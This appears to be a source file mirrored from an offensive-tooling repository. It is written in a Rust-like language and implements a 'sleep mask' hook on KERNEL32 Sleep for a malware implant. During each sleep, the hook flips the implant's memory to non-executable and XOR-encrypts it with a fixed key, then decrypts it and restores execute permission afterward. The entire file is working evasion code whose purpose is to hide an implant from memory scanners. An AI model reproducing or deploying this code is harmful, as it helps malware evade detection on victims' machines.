mirror of
https://github.com/entropykit/entropia
synced 2026-06-24 06:05:04 +00:00
54 lines
1.7 KiB
Plaintext
54 lines
1.7 KiB
Plaintext
|
|
use opsec_sleep_mask;
|
|
|
|
static __opsec_sleep_base: u64 = 0;
|
|
static __opsec_sleep_size: u64 = 0;
|
|
static __opsec_sleep_key: u8 = (u8)0x5A;
|
|
// PAGE_EXECUTE_READ. Override to PAGE_EXECUTE_READWRITE (0x40)
|
|
// if your loader put the implant in RWX.
|
|
static __opsec_sleep_prot: u32 = (u32)0x20;
|
|
// One-shot signalable handle (CreateEventA) that
|
|
// WaitForSingleObject blocks on. Lazily created on first hook
|
|
// call so we don't pay the cost on builds where Sleep never fires.
|
|
static __opsec_sleep_event: u64 = 0;
|
|
|
|
[Hook("KERNEL32$Sleep")]
|
|
fn __opsec_sleep_hook(ms: u32) -> void {
|
|
var sz: u64 = __opsec_sleep_size;
|
|
var k: u8 = __opsec_sleep_key;
|
|
var base: u64 = __opsec_sleep_base;
|
|
var orig_prot: u32 = __opsec_sleep_prot;
|
|
|
|
if sz != 0 {
|
|
var old: u32 = 0;
|
|
// 0x04 = PAGE_READWRITE. Strips execute; allows write
|
|
// (needed for the XOR pass).
|
|
opsec_set_protect(base, sz, (u32)0x04, &old);
|
|
opsec_xor_region(base, sz, k);
|
|
}
|
|
|
|
var h: u64 = __opsec_sleep_event;
|
|
if h == 0 {
|
|
// Manual-reset, non-signaled, no name. The handle is
|
|
// never set or closed - the kernel reaps it at process
|
|
// exit. We just need a wait target.
|
|
h = (u64)Kernel32.CreateEventA((void*)0, 1, 0, (char*)0);
|
|
__opsec_sleep_event = h;
|
|
}
|
|
if h != 0 {
|
|
Kernel32.WaitForSingleObject((void*)h, ms);
|
|
} else {
|
|
// CreateEventA failed (extremely rare). Fall back to the
|
|
// real Sleep so the implant doesn't bottleneck.
|
|
Kernel32.Sleep(ms);
|
|
}
|
|
|
|
if sz != 0 {
|
|
opsec_xor_region(base, sz, k);
|
|
// Restore the original page protection.
|
|
var dummy: u32 = 0;
|
|
opsec_set_protect(base, sz, orig_prot, &dummy);
|
|
}
|
|
ret;
|
|
}
|